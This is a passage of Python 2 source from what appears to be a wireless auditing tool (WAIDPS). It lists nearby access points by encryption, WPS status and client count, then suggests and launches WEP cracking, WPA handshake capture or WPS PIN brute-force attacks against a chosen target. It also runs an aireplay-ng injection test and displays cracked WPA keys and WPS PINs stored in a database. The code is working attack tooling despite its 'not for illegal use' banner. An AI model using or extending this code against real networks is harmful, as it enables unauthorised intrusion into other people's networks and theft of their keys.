        ColList=str(__builtin__.TargetList_All[x]).split(";")
        Dct=str(x+1) + "."
        QSignal=ColList[5] + " dBm"
        DESSID=str(ColList[9]).lstrip().rstrip()
        if DESSID=="":
            DESSID="<<NO ESSID>>"
        List=Dct.ljust(6) + "*BSSID*" + ColList[0].ljust(20) +  "**CHN**" + ColList[1].ljust(5)  + "**ENC**" + ColList[2].ljust(8) + ColList[3].ljust(15) +  ColList[4].ljust(10) + "**SIG**" + QSignal.ljust(10) + "**LASTSEEN**" + ColList[6].ljust(34)+ "**WPS**" + ColList[7].ljust(5) + "**CLN**" + ColList[8].ljust(4) + "*ESSID*" + str(DESSID)
        List=List.replace("**LASTSEEN**",fcolor.SWhite).replace("*BSSID*",fcolor.SGreen).replace("*ESSID*",fcolor.SPink).replace("**ENC**WEP",fcolor.SRed + "WEP").replace("**ENC**WPA2",fcolor.SYellow + "WPA2").replace("**ENC**WPA",fcolor.SYellow+ "WPA").replace("**SIG**",fcolor.SBlue).replace("**CHN**",fcolor.SWhite).replace("**WPS**Yes",fcolor.SCyan + "Yes"+ fcolor.SGreen).replace("**WPS**Lck",fcolor.SRed + "Lck"+ fcolor.SGreen).replace("**WPS**-",fcolor.SWhite + "-" + fcolor.SGreen).replace("**CLN**0",fcolor.SGreen + "0" + fcolor.SGreen).replace("**CLN**",fcolor.SRed).replace("**ENC**","").replace("<<NO ESSID>>",fcolor.SBlack + "<<NO ESSID>>")
        TargetMAC=ColList[0]
        __builtin__.ATTACK_AP_BSSID=TargetMAC
        TargetMAC2=str(TargetMAC).replace(":","")
        DInfo=CheckCrackingStatus(TargetMAC)
        print fcolor.SWhite + List + str(DInfo)
        x +=1
    TargetMAC=str(TargetMAC).replace(":","")
    WPACT=str(len(__builtin__.TargetList_WPA1) + len(__builtin__.TargetList_WPA2) + len(__builtin__.TargetList_WPA1C) + len(__builtin__.TargetList_WPA2C))
    WPSCT=str(len(__builtin__.TargetList_WPS))
    WEPCT=str(len(__builtin__.TargetList_WEP))
    DrawLine("^",fcolor.CReset + fcolor.Black,"","")
    if ToDisplay=="ALL" and ESSID_FILTER=="":
        print tabspacefull + fcolor.BBlue + "Encryption Type".ljust(20) + fcolor.BPink + "WEP : " + fcolor.BWhite + str(WEPCT).ljust(22) + fcolor.BPink + "WPA/WPA2 : " + fcolor.BWhite + str(WPACT).ljust(20) + fcolor.BPink + "WPA/WPA2 (WPS Enabled) : " + fcolor.BWhite + str(WPSCT)
        DrawLine("-",fcolor.CReset + fcolor.Black,"","")
    CenterText(fcolor.BWhite + fcolor.BGRed, "WARNING - NOT FOR ILLEGAL USE")
    printc (".",fcolor.SWhite + "Key in [Help] to display other options.","")
    Result=AskQuestion("Select a target/option",fcolor.SWhite + "Default - Return","U","0","1")
    if Result=="HELP":
        LineBreak()
        printc ("i",fcolor.BBlue + "Help Menu:","")
        printc (" ",fcolor.BYellow + "ALL         " + fcolor.SWhite + " - Show all detected access points","")
        printc (" ",fcolor.BYellow + "WEP         " + fcolor.SWhite + " - Show only access points with WEP Encryption","")
        printc (" ",fcolor.BYellow + "WPA         " + fcolor.SWhite + " - Show access points with WPA/WPA2 Encryption and without client","")
        printc (" ",fcolor.BYellow + "WPA1        " + fcolor.SWhite + " - Show only access points with WPA Encryption and without client","")
        printc (" ",fcolor.BYellow + "WPA2        " + fcolor.SWhite + " - Show only access points with WPA2 Encryption and without client","")
        printc (" ",fcolor.BYellow + "WPAC        " + fcolor.SWhite + " - Show access points with WPA/WPA2 Encryption and with detected client","")
        printc (" ",fcolor.BYellow + "WPA1C       " + fcolor.SWhite + " - Show only access points with WPA Encryption and with detected client","")
        printc (" ",fcolor.BYellow + "WPA2C       " + fcolor.SWhite + " - Show only access points with WPA2 Encryption and with detected client","")
        printc (" ",fcolor.BYellow + "WPS         " + fcolor.SWhite + " - Show only access points with WPS enabled","")
        printc (" ",fcolor.BYellow + "SSID=" + fcolor.SBlack + "<Name> " + fcolor.SWhite + " - Filter ESSID containing the name, Ex: SSID=SYWorks","")
        printc (" ",fcolor.BYellow + "M" + fcolor.SBlack + "<Number>   " + fcolor.SWhite + " - Monitor the selected target instead of attacking. Ex : M3","")
        printc (" ",fcolor.BYellow + "M" + fcolor.SBlack + "<MAC>      " + fcolor.SWhite + " - Monitor the selected target instead of attacking. Ex : M00:01:02:03:04:05","")
        printc (" ",fcolor.BYellow + "HS/HANDSHAKE" + fcolor.SWhite + " - Display the list of captured handshakes for cracking.","")
        printc (" ",fcolor.BYellow + "DB/SDB/DDB  " + fcolor.SWhite + " - Display the list of cracked access point.","")
        printc (" ",fcolor.BYellow + "ADB         " + fcolor.SWhite + " - Input cracked AP detail manually (BSSID,ESSID,Encryption Key..etc).","")
        printc (" ",fcolor.BYellow + "<Number>    " + fcolor.SWhite + " - Select the access point using the number assigned.","")
        printc (" ",fcolor.BYellow + "<BSSID>     " + fcolor.SWhite + " - Instead of selecting using the number, user can also enter the MAC address of the access point..","")
        printc (" ",fcolor.BYellow + "TESTINJECT  " + fcolor.SWhite + " - Test injection of the attacking interface [ " + str(__builtin__.SELECTED_ATK) + " - " + str(__builtin__.SELECTED_ATK_MAC) + " ]","")
        LineBreak()
        printc ("x","","")
        OptAuditing(HeaderLine);return
    if Result=="TESTINJECT" or Result=="TI":
        DelFile(tmpdir + "Inject*.txt","")
        printc (".",fcolor.SWhite + Now() + " - " + fcolor.BBlue + "Testing of Inject fore Interface " + fcolor.BRed +  str(__builtin__.SELECTED_ATK) + fcolor.BBlue +  " [ " + fcolor.BYellow +  str(__builtin__.SELECTED_ATK_MAC) + fcolor.BBlue +  " ]..","")
        cmdLine="xterm -geometry 100x20-0-200 -iconic -bg black -fg white -fn 5x8 -title 'WAIDPS - Injection Test' -e 'aireplay-ng -9 " + str(__builtin__.SELECTED_MON) + " > " + tmpdir + "Inject.txt && echo 1 > " + tmpdir + "Inject2.txt" + "'"
        ps=subprocess.Popen(cmdLine , shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'),preexec_fn=os.setsid)		
        __builtin__.Sniffer=ps.pid
        lline=[]
        while IsFileDirExist(tmpdir + "Inject2.txt")!="F":
            if IsFileDirExist(tmpdir + "Inject.txt")=="F":
                with open(tmpdir + "Inject.txt","r") as f:
                    lines=""
                    for line in f:
                        line=line.replace("\\r\\n","\n").replace("\\r","\n").replace("\\n","\n").replace("\r","\n")
                        line=line.replace("\n\n","\n")
                        line=line.replace("\n\n","\n")
                        line=line.replace("\n\n","\n")
                        lines=lines+line
                    open(tmpdir + "Inject.txt","w").write(lines)
                with open(tmpdir + "Inject.txt","r") as f:
                    for line in f:
                        line=line.replace("\\r\\n","\n").replace("\\r","\n").replace("\\n","\n")
                        line=line.replace("\n","")
                        lline=str(line).split(" ")
                        if str(line).find("Trying broadcast probe requests")!=-1:
                            printl ("\n" + fcolor.SWhite + "[.]   " + fcolor.BGreen + "Testing Broadcast Probe Requests..." ,"1","")
                        if str(line).find("No Answer")!=-1:
                            print fcolor.BRed + "No Answer"
                        if str(line).find("/30:")!=-1:
                            Pos=str(line).find("/30:")
                            Pos=Pos-3
                            sline=str(line)[Pos:]
                            sline=str(sline).lstrip().rstrip().replace("\n","").replace("\r","")
                            if len(sline)>5 and JP==1:
                                sline=str(sline).replace("0:","0:\t" + fcolor.SWhite)
                                print fcolor.SRed + str(sline) + ""
                                JP=""
                        if len(lline[0])==8 and len(lline)>2:
                            line2=str(line)[10:]
                            if str(line).find("  Found ")!=-1:
                                print ""
                                printc (".",fcolor.SGreen + str(line2),"")
                            if str(line).find("Trying directed probe requests")!=-1:
                                print fcolor.SWhite + "[.]   " + fcolor.BGreen + "Testing Directed Probe Requests..."
                            if len(lline[2])==17:
                                sptxt=line[10:]
                                sptxt=sptxt.ljust(55) + fcolor.SBlack + ""
                                sptxt=str(sptxt).replace(" - ", fcolor.SWhite + " \t" + fcolor.SPink).replace(" \t" + fcolor.SPink + "channel: ", fcolor.SWhite + " - CH ")
                                printl (fcolor.SWhite + "      " + fcolor.SGreen + "Testing BSSID " + fcolor.SYellow + str(sptxt) +  fcolor.SGreen + " " ,"1","")
                                JP=1
                open(tmpdir + "Inject.txt","w").write("")
                time.sleep(2)
        print ""
        DelFile(tmpdir + "Inject*.txt","")
        LineBreak()
        printc ("x","","")
        OptAuditing(HeaderLine);return
    if Result=="DB" or Result=="DDB" or Result=="SDB":
        LineBreak()
        DisplayCrackDB()
        OptAuditing(Result);return
    if Result=="ADB":
        LineBreak()
        InputCrackDB()
        OptAuditing(Result);return
    if Result=="HS" or Result=="HANDSHAKE":
        LineBreak()
        HS_File=savedir + "Handshake_" + "*.cap"
        CrackWPAKey(HS_File,"")
        OptAuditing(Result);return
    if Result=="0":
        LineBreak()
        return
    if Result!="" and str(Result[:1]).upper()=="M":
        BResult=str(Result)[1:]
        PASS=""
        if len(BResult)==17:
            SELMAC=BResult
            mi=FindMACIndex(BResult,ListInfo_BSSID)
            if mi>-1:
                PASS=1
        elif BResult.isdigit()==True:
            if int(BResult)>x:
                printc ("!!!","Invalid target set !","")
                LineBreak()
                OptAuditing(HeaderLine);return
                return
            else:
                PASS=1
                BResult=int(BResult)-1
                ColList=str(__builtin__.TargetList_All[int(BResult)]).split(";")
                SELMAC=ColList[0]
                mi=FindMACIndex(SELMAC,ListInfo_BSSID)
        if PASS==1:
                __builtin__.ATTACK_AP_BSSID=str(SELMAC)
                __builtin__.ATTACK_AP_FS=str(ListInfo_FirstSeen[mi])
                __builtin__.ATTACK_AP_LS=str(ListInfo_LastSeen[mi])
                __builtin__.ATTACK_AP_PWR=str(ListInfo_BestQuality[mi])
                __builtin__.ATTACK_AP_BEACON=str(ListInfo_Beacon[mi])
                __builtin__.ATTACK_AP_DATA=str(ListInfo_Data[mi])
                __builtin__.ATTACK_AP_ESSID=str(ListInfo_ESSID[mi])
                __builtin__.ATTACK_AP_PRIVACY=str(ListInfo_Privacy[mi])
                __builtin__.ATTACK_AP_CIPHER=str(ListInfo_Cipher[mi])
                __builtin__.ATTACK_AP_AUTH=str(ListInfo_Auth[mi])
                __builtin__.ATTACK_AP_CH=str(ListInfo_Channel[mi])
                printc ("i",fcolor.BGreen + "Shutting down all interfaces .....","")
                ShutdownMonitor()
                KillAllMonitor()
                CreateMonitor("1","")
                LineBreak()
                MonitorAccessPoint(__builtin__.ATTACK_AP_BSSID,"")
                __builtin__.MONLogfile=""
                OptAuditing("")
        else:
            printc ("!!!","Invalid target set !","")
            LineBreak()
            OptAuditing(HeaderLine);return
            return
    if len(Result)==17 and IsHex(Result)==True:
        cx=0
        while cx<len(__builtin__.TargetList_All):
            ColList=str(__builtin__.TargetList_All[int(cx)]).split(";")
            if str(ColList[0]).upper()==str(Result).upper():
                Result=str(cx+1)
                cx=len(ColList)
            cx += 1
    if Result.isdigit()!=True:
        if Result=="ALL" or Result=="WEP" or Result=="WPA" or Result=="WPAC" or Result=="WPA1" or Result=="WPA1C" or Result=="WPA2" or Result=="WPA2C" or Result=="WPS":
            LineBreak()
            OptAuditing(Result);return
        else:
            if len(Result)>5 and Result[:5]=="SSID=":
                OptAuditing(Result);return
            if len(Result)>6 and Result[:6]=="ESSID=":
                OptAuditing(Result);return
        LineBreak()
        OptAuditing(Result);return
    if int(Result)>x:
        printc ("!!!","Invalid target set !","")
        LineBreak()
        OptAuditing(HeaderLine);return
        return
    LineBreak()
    Result=int(Result)-1
    ColList=str(__builtin__.TargetList_All[int(Result)]).split(";")
    SELMAC=ColList[0];SELENC=ColList[2];SELCHN=ColList[1];SELWPS=ColList[7];SELCLN=ColList[8];QSignal=ColList[5] + " dBm"
    ATTACKMODE=""
    if SELENC=="WEP":
        ATTACKMODE="WEP"
    if SELENC=="WPA" or SELENC=="WPA2":
        if int(SELCLN)>0:
            ATTACKMODE="WPA Handshake"
            if SELWPS=="Yes":
                ATTACKMODE="WPS Bruteforce"
        elif SELWPS=="Yes":
            ATTACKMODE="WPS Bruteforce"
        else:
            ATTACKMODE="No Client"
    DB_CH=[];DB_ESSID=[];DB_CLIENT=[];__builtin__.CUR_CLIENT=[];__builtin__.CUR_CLIENT_FS=[];__builtin__.CUR_CLIENT_LS=[];__builtin__.CUR_CLIENT_PWR=[];__builtin__.CUR_CLIENT_DATA=[]
    print fcolor.BBlue + "Selected Target"
    Result=fcolor.BYellow + "  AP BSSID " + fcolor.SWhite + "[ " + fcolor.BRed + SELMAC + fcolor.SWhite + " ]\t\t" + fcolor.SWhite + " Signal  : " + fcolor.BGreen + QSignal + "\n"
    Result=Result+ str(DisplayOUIDetail(SELMAC,fcolor.BGreen)) 
    Result=Result+ str(DisplayESSIDDetail(SELMAC,fcolor.BGreen))  
    Result=Result+ str(DisplaySSIDDetail(SELMAC))
    ClientMAC=""
    if int(SELCLN)>0:
        x=0
        while x<len(ListInfo_STATION):
            if __builtin__.ListInfo_CBSSID[x]==SELMAC:
                ClientMAC=ClientMAC + str(ListInfo_STATION[x]) + " / "
                __builtin__.CUR_CLIENT.append (ListInfo_STATION[x])
                __builtin__.CUR_CLIENT_FS.append (ListInfo_CFirstSeen[x])
                __builtin__.CUR_CLIENT_LS.append (ListInfo_CLastSeen[x])
                __builtin__.CUR_CLIENT_PWR.append (ListInfo_CBestQuality[x])
                __builtin__.CUR_CLIENT_DATA.append ("0")
                __builtin__.CUR_CLIENT_PROBE.append ("")
            x += 1
        ClientMAC=ClientMAC[:-3]
        ClientMAC=ClientMAC.replace(" / ", fcolor.SWhite + " / " + fcolor.SGreen)
        Result=Result + fcolor.SWhite + "  Clients  : " + fcolor.SGreen + ClientMAC + "\n"
                
    print Result
    if IsFileDirExist(DBFile2)=="F":
        RecCt=0;DisplayText=""
	with open(DBFile2,"r") as f:
            next(f)
	    for line in f:
                line=line.replace("\n","")
                tmpList=str(line).split(";")
                if len(tmpList)>=18:
                    if tmpList[0]==SELMAC:
                        ESSID=str(tmpList[18])
                        CHANNEL=str(tmpList[5])
                        DB_ESSID=AddToList(ESSID,DB_ESSID)
                        DB_CH=AddToList(CHANNEL,DB_CH)
    if IsFileDirExist(DBFile3)=="F":
	with open(DBFile3,"r") as f:
            next(f)
	    for line in f:
                line=line.replace("\n","")
                tmpList=str(line).split(";")
                if len(tmpList)>=7:
                    if tmpList[1]==SELMAC:
                        ESSID=tmpList[6]
                        CLIENTMAC=str(tmpList[0])
                        DB_ESSID=AddToList(ESSID,DB_ESSID)
                        DB_CLIENT=AddToList(CLIENTMAC,DB_CLIENT)
    DB_ESSID.sort()
    DB_CH.sort()
    DB_CLIENT.sort()
    if len(DB_ESSID)!=0 or len(DB_CH)!=0 or len(DB_CLIENT)!=0:
        print fcolor.BBlue + "Previous Detail From Database"
        if len(DB_ESSID)!=0:
            Result=fcolor.BWhite + "ESSID   : " + fcolor.SGreen
            ResultList=""
            x=0
            while x<len(DB_ESSID):
                ResultList=ResultList + str(DB_ESSID[x]) + " / "
                x += 1
            ResultList=ResultList[:-3]
            ResultList=ResultList.replace(" / ", fcolor.SWhite + " / " + fcolor.SGreen)
            Result=Result + ResultList
            print Result
        if len(DB_CH)!=0:
            Result=fcolor.BWhite + "Channel : " + fcolor.SGreen
            ResultList=""
            x=0
            while x<len(DB_CH):
                ResultList=ResultList + str(DB_CH[x]) + " / "
                x += 1
            ResultList=ResultList[:-3]
            ResultList=ResultList.replace(" / ", fcolor.SWhite + " / " + fcolor.SGreen)
            Result=Result + ResultList
            print Result
        if len(DB_CLIENT)!=0:
            Result=fcolor.BWhite + "Clients : " + fcolor.SGreen
            ResultList=""
            x=0
            while x<len(DB_CLIENT):
                ResultList=ResultList + str(DB_CLIENT[x]) + " / "
                x += 1
            ResultList=ResultList[:-3]
            ResultList=ResultList.replace(" / ", fcolor.SWhite + " / " + fcolor.SGreen)
            Result=Result + ResultList
            x=0
            if len(CUR_CLIENT)>0:
                while x<len(CUR_CLIENT):
                    Result=Result.replace(CUR_CLIENT[x],fcolor.SPink + CUR_CLIENT[x] + fcolor.SWhite)
                    x += 1
            print Result
    DrawLine("^",fcolor.CReset + fcolor.SWhite,"","")
    FOUND=CheckCrackDB(SELMAC)
    if FOUND=="1":
        if IsHex(__builtin__.DB_ENCKEY)==True:
            result=ConvertHex(__builtin__.DB_ENCKEY)
        else:
            result=__builtin__.DB_ENCKEY
        OUI=Check_OUI(SELMAC,"")
        printc ("i", fcolor.BRed + "The Access Point   [ " + fcolor.BYellow + str(SELMAC) + fcolor.BRed + " ] was cracked !!","")
        printc (" ", fcolor.SGreen + "ESSID              : " + fcolor.BPink + str(__builtin__.DB_ESSID) + fcolor.SGreen,"")
        printc (" ", fcolor.SGreen + "Manufacturer       : " + fcolor.BCyan + str(OUI) + fcolor.SGreen,"")
        printc (" ", fcolor.SGreen + "Encryption Type    : " + fcolor.BYellow + str(__builtin__.DB_ENCTYPE) ,"")
        if str(__builtin__.DB_ENCTYPE).find("WEP")!=-1:
            printc (" ", fcolor.SGreen + "Hexadecimal        : " + fcolor.BYellow + str(__builtin__.STR_HEXCOLON) + fcolor.SGreen + " / " + fcolor.BYellow + str(__builtin__.STR_HEX) + fcolor.SGreen + " [ "  + fcolor.SWhite + str(__builtin__.STR_LENHEX) + " Hexadecimal / " + str(__builtin__.STR_BIT) + " Bits" + fcolor.SGreen + " ]","")
            printc (" ", fcolor.SGreen + "Characters         : " + fcolor.BRed + str(__builtin__.STR_CHR) + fcolor.SGreen + fcolor.SGreen + " [ "  + fcolor.SWhite + str(__builtin__.STR_LEN) + " Characters" + fcolor.SGreen + " ]","")
        if str(__builtin__.DB_ENCTYPE).find("WPA")!=-1:
            printc (" ", fcolor.SGreen + "WPA Pre-Shared Key : " + fcolor.BRed + str(__builtin__.DB_ENCKEY) + fcolor.SGreen + fcolor.SGreen + " [ "  + fcolor.SWhite + str(len(__builtin__.DB_ENCKEY)) + " Characters" + fcolor.SGreen + " ]","")
        if str(__builtin__.DB_WPS)!="":
            printc (" ", fcolor.SGreen + "WPS PIN            : " + fcolor.BYellow + str(__builtin__.DB_WPS) ,"")
        printc (" ", fcolor.SGreen + "Cracked Date       : " + fcolor.BYellow + str(__builtin__.DB_Date) ,"")
        print ""
        usr_resp=AskQuestion(fcolor.BGreen + "Proceed to re-crack ?" + fcolor.BGreen,"y/N","U","N","1")
        LineBreak()
        if usr_resp!="Y":
            __builtin__.ATTACK_AP_ESSID=__builtin__.DB_ESSID
            OptAuditing("1")
            return
        print ""
    printc (".",fcolor.SWhite + "Please note that after target selection is confirm, all current monitoring process will be terminated.\n","")
    printc ("i", fcolor.BPink + "Suggested Attack Mode   : " + fcolor.BRed + str(ATTACKMODE) + "","")
    LineBreak()
    if ATTACKMODE=="WEP":
        SUGGESTOPT="1"
    elif ATTACKMODE=="WPS Bruteforce":
        SUGGESTOPT="3"
    elif SELENC=="WPA" or SELENC=="WPA2":
        SUGGESTOPT="2"
    else:
        SUGGESTOPT="0"
    mi=FindMACIndex(SELMAC,ListInfo_BSSID)
    __builtin__.ATTACK_AP_BSSID=str(SELMAC);__builtin__.ATTACK_AP_FS=str(ListInfo_FirstSeen[mi]);__builtin__.ATTACK_AP_LS=str(ListInfo_LastSeen[mi]);__builtin__.ATTACK_AP_PWR=str(ListInfo_BestQuality[mi]);__builtin__.ATTACK_AP_BEACON=str(ListInfo_Beacon[mi]);__builtin__.ATTACK_AP_DATA=str(ListInfo_Data[mi]);__builtin__.ATTACK_AP_ESSID=str(ListInfo_ESSID[mi]);__builtin__.ATTACK_AP_PRIVACY=str(ListInfo_Privacy[mi]);__builtin__.ATTACK_AP_CIPHER=str(ListInfo_Cipher[mi]);__builtin__.ATTACK_AP_AUTH=str(ListInfo_Auth[mi]);__builtin__.ATTACK_AP_CH=str(ListInfo_Channel[mi])
    printc (" ",fcolor.BRed + "1" + fcolor.SWhite + " - Crack " + fcolor.BYellow + "W" + fcolor.SWhite + "EP Access Point","")
    printc (" ",fcolor.BRed + "2" + fcolor.SWhite + " - " + "Capture WPA " + fcolor.BYellow + "H" + fcolor.SWhite + "andshake " + fcolor.SGreen + "  [ " + str(SELCLN) + " client(s) ]","")
    printc (" ",fcolor.BRed + "3" + fcolor.SWhite + " - WPS " + fcolor.BYellow + "B" + fcolor.SWhite + "ruteforce PIN","")
    printc (" ",fcolor.BRed + "4" + fcolor.SWhite + " - Live " + fcolor.BYellow + "M" + fcolor.SWhite + "onitor Access Point ","")
    printc (" ",fcolor.BRed + "0" + fcolor.SWhite + " - " + "" + fcolor.BYellow + "R" + fcolor.SWhite + "etrun","")
    usr_resp=AskQuestion(fcolor.BGreen + "Select an option ","1/2/3/4/0 " + fcolor.SWhite + "Default - " + fcolor.BRed + str(SUGGESTOPT) ,"U",SUGGESTOPT,"1")
    if usr_resp!="1" and usr_resp!="2" and usr_resp!="3" and usr_resp!="4" and usr_resp!="W" and usr_resp!="H" and usr_resp!="B" and usr_resp!="M":
        OptAuditing("1")
        return
    else:
        if usr_resp=="1" or usr_resp=="W":
            ATTACKMODE="WEP"
        elif usr_resp=="2" or usr_resp=="H":
            ATTACKMODE="WPA Handshake"
        elif usr_resp=="3" or usr_resp=="B":
            ATTACKMODE="WPS Bruteforce"
        else:
            printc ("i",fcolor.BGreen + "Shutting down all interfaces .....","")
            ShutdownMonitor()
            KillAllMonitor()
            CreateMonitor("1","")
            LineBreak()
            MonitorAccessPoint(__builtin__.ATTACK_AP_BSSID,"")
            __builtin__.MONLogfile=""
            OptAuditing("")
            return
    LineBreak()
    printc ("i",fcolor.BGreen + "Shutting down all interfaces .....","")
    ShutdownMonitor()
    KillAllMonitor()
    if ATTACKMODE!="WPS Bruteforce":
        CreateMonitor("1","")
    else:
        CreateMonitor("1",1)
    LineBreak()
    if ATTACKMODE=="WEP":
        AttackWEPProc(SELMAC,SELCHN,__builtin__.CUR_CLIENT)
    if ATTACKMODE=="WPA Handshake":
        __builtin__.WPA_AUTOCLIENT=="ON";__builtin__.WPA_DEAUTH_MAC=""
        __builtin__.HS_File="";__builtin__.HS_FileFull="";__builtin__.HS_FileStrict="";__builtin__.HS_FileStrictFull=""
        AttackWPAProc(SELMAC,SELCHN,__builtin__.CUR_CLIENT,"")
    if ATTACKMODE=="WPS Bruteforce":
        AttackWPSProc(SELMAC,SELCHN,__builtin__.CUR_CLIENT,"")

def AddClientMAC(CLMAC,SDATA):
    SDATA=str(SDATA).lstrip().rstrip()
    DAUTHCT=5
    if SDATA=="":
        SDATA=0
    ActiveStatus=fcolor.SBlack + "Idle   "
    MACIndex=-1
    MACLoc=str(__builtin__.CUR_CLIENT_MAC).find(str(CLMAC))
    __builtin__.CUR_CLIENT_DATADIFF=""
    if MACLoc!=-1:
        MACIndex=int(MACLoc) -2
        MACIndex=MACIndex/21
        if __builtin__.CUR_CLIENT_PDATA[MACIndex]!=SDATA:
            ActiveStatus=fcolor.SRed +  "Active "
            if str(__builtin__.CUR_CLIENT_PDATA[MACIndex]).isdigit()==True and str(SDATA).isdigit()==True:
                __builtin__.CUR_CLIENT_DATADIFF="   +" + str(int(SDATA)-int(__builtin__.CUR_CLIENT_PDATA[MACIndex])) + ""
            __builtin__.CUR_CLIENT_PDATA[MACIndex]=SDATA
    else:
        __builtin__.CUR_CLIENT_MAC.append (CLMAC)
        __builtin__.CUR_CLIENT_PDATA.append (SDATA)
        ActiveStatus=fcolor.SRed + "Active "
    return ActiveStatus

def ClearClientAPList(cmd):
    if cmd=="1" or cmd=="":
        __builtin__.CUR_CLIENT=[];__builtin__.CUR_CLIENT_FS=[];__builtin__.CUR_CLIENT_LS=[];__builtin__.CUR_CLIENT_PWR=[];__builtin__.CUR_CLIENT_DATA=[];__builtin__.CUR_CLIENT_PROBE=[];__builtin__.CUR_CLIENT_MAC=[];__builtin__.CUR_CLIENT_PDATA=[];__builtin__.CUR_CLIENT_DATADIFF=[];__builtin__.NEW_CLIENT2=[];__builtin__.NEW_CLIENT=[];__builtin__.NEW_CLIENT_FS=[];__builtin__.NEW_CLIENT_LS=[];__builtin__.NEW_CLIENT_PWR=[];__builtin__.NEW_CLIENT_DATA=[];__builtin__.NEW_CLIENT_PROBE=[];
    if cmd=="2" or cmd=="":
        __builtin__.ATTACK_AP_PWR="";__builtin__.ATTACK_AP_DATA="";__builtin__.ATTACK_AP_PDATA="";__builtin__.ATTACK_AP_PBEACON="";__builtin__.ATTACK_AP_FS="";__builtin__.ATTACK_AP_LS="";__builtin__.ATTACK_AP_ESSID="";__builtin__.ATTACK_AP_BEACON="";__builtin__.ATTACK_AP_PRIVACY="";__builtin__.ATTACK_AP_CIPHER="";__builtin__.ATTACK_AP_AUTH="";__builtin__.ATTACK_AP_CLIENT="";__builtin__.LOG_AP_BSSID="";__builtin__.LOG_AP_PWR="";__builtin__.LOG_AP_HPWR="";__builtin__.LOG_AP_LPWR="";__builtin__.LOG_AP_DATA="";__builtin__.LOG_AP_PDATA="";__builtin__.LOG_AP_PBEACON="";__builtin__.LOG_AP_FS="";__builtin__.LOG_AP_LS="";__builtin__.LOG_AP_ESSID="";__builtin__.LOG_AP_BEACON="";__builtin__.LOG_AP_PRIVACY="";__builtin__.LOG_AP_CIPHER="";__builtin__.LOG_AP_AUTH="";__builtin__.LOG_AP_CH="";__builtin__.LOG_AP_CLIENT="";__builtin__.LOG_AP_RECORDED="";__builtin__.FoundFiles=[];__builtin__.FoundFiles_Filtered=[]

def PreLoadMonFile():
    tmpfile=dbdir + "tempmon.tmp"
    tmpList=[]
    if IsFileDirExist(__builtin__.MONLogfile)=="F":
	with open(__builtin__.MONLogfile,"r") as f:
	    for line in f:
                line=line.replace("\n","")
                tmpList=str(line).split("=")
                if len(tmpList)==2:
                    if tmpList[0]=="BSSID  ":
                        if tmpList[1]!="":
                            __builtin__.LOG_AP_BSSID=tmpList[1]
                    if tmpList[0]=="ESSID  " and tmpList[1]!="":
                           __builtin__.LOG_AP_ESSID=tmpList[1]
                    if tmpList[0]=="CHANNEL" and tmpList[1]!="":
                           __builtin__.LOG_AP_CH=tmpList[1]
                    if tmpList[0]=="CIPHER " and tmpList[1]!="":
                           __builtin__.LOG_AP_CIPHER=tmpList[1]
                    if tmpList[0]=="PRIVACY" and tmpList[1]!="":
                           __builtin__.LOG_AP_PRIVACY=tmpList[1]
                    if tmpList[0]=="AUTH   " and tmpList[1]!="":
                           __builtin__.LOG_AP_AUTH=tmpList[1]
                    if tmpList[0]=="CLIENTS" and tmpList[1]!="":
                           __builtin__.LOG_AP_CLIENT=tmpList[1]
                    if tmpList[0]=="F.SEEN " and tmpList[1]!="":
                           __builtin__.LOG_AP_FS=tmpList[1]
                    if tmpList[0]=="L.SEEN " and tmpList[1]!="":
                           __builtin__.LOG_AP_LS=tmpList[1]
                    if tmpList[0]=="H.SNL  " and tmpList[1]!="":
                           __builtin__.LOG_AP_HPWR=tmpList[1]
                    if tmpList[0]=="L.SNL  " and tmpList[1]!="":
                           __builtin__.LOG_AP_LPWR=tmpList[1]
                    if tmpList[0]=="C.SNL  " and tmpList[1]!="":
                           __builtin__.LOG_AP_PWR=tmpList[1]
                    if tmpList[0]=="RECORD " and tmpList[1]!="":
                           __builtin__.LOG_AP_RECORDED=tmpList[1]

def LogMonDetail(DataStr):
    
    tmpfile=dbdir + "tempmon.tmp"
    DelFile (tmpfile,"")
    if IsFileDirExist(__builtin__.MONLogfile)=="F":
        open(__builtin__.MONLogfile,"a+b").write(str(DataStr) + "\n")
    

def LogMonFile(DataStr):
    tmpfile=dbdir + "tempmon.tmp"
    DelFile (tmpfile,"")
    if IsFileDirExist(__builtin__.MONLogfile)!="F":
        open(__builtin__.MONLogfile,"w").write("Monitoring Log For BSSID " + str(__builtin__.ATTACK_AP_BSSID) + "\n")
        open(__builtin__.MONLogfile,"a+b").write("BSSID  =" + str(__builtin__.ATTACK_AP_BSSID) + "\n")
        __builtin__.LOG_AP_BSSID=__builtin__.ATTACK_AP_BSSID
        open(__builtin__.MONLogfile,"a+b").write("ESSID  =" + str(__builtin__.ATTACK_AP_ESSID) + "\n")
        __builtin__.LOG_AP_ESSID=__builtin__.ATTACK_AP_ESSID
        open(__builtin__.MONLogfile,"a+b").write("CHANNEL=" + str(__builtin__.ATTACK_AP_CH) + "\n")
        __builtin__.LOG_AP_CH=__builtin__.ATTACK_AP_CH
        open(__builtin__.MONLogfile,"a+b").write("PRIVACY=" + str(__builtin__.ATTACK_AP_PRIVACY) + "\n")
        __builtin__.LOG_AP_PRIVACY=__builtin__.ATTACK_AP_PRIVACY
        open(__builtin__.MONLogfile,"a+b").write("CIPHER =" + str(__builtin__.ATTACK_AP_CIPHER) + "\n")
        __builtin__.LOG_AP_CIPHER=__builtin__.ATTACK_AP_CIPHER
        open(__builtin__.MONLogfile,"a+b").write("AUTH   =" + str(__builtin__.ATTACK_AP_AUTH) + "\n")
        __builtin__.LOG_AP_AUTH=__builtin__.ATTACK_AP_AUTH
        open(__builtin__.MONLogfile,"a+b").write("CLIENTS=" + str(__builtin__.ATTACK_AP_CLIENT) + "\n")
        __builtin__.LOG_AP_CLIENT=__builtin__.ATTACK_AP_CLIENT
        open(__builtin__.MONLogfile,"a+b").write("F.SEEN =" + str(__builtin__.ATTACK_AP_FS) + "\n")
        __builtin__.LOG_AP_FS=__builtin__.ATTACK_AP_FS
        open(__builtin__.MONLogfile,"a+b").write("L.SEEN =" + str(__builtin__.ATTACK_AP_LS) + "\n")
        __builtin__.LOG_AP_LS=__builtin__.ATTACK_AP_LS
        SNL=str(__builtin__.ATTACK_AP_PWR)
        if SNL=="-127" or SNL=="-1" or SNL=="":
            SNL="0"
        
        open(__builtin__.MONLogfile,"a+b").write("H.SNL  =" + str(SNL) + "\n")
        __builtin__.LOG_AP_HPWR=SNL
        open(__builtin__.MONLogfile,"a+b").write("L.SNL  =" + str(SNL) + "\n")
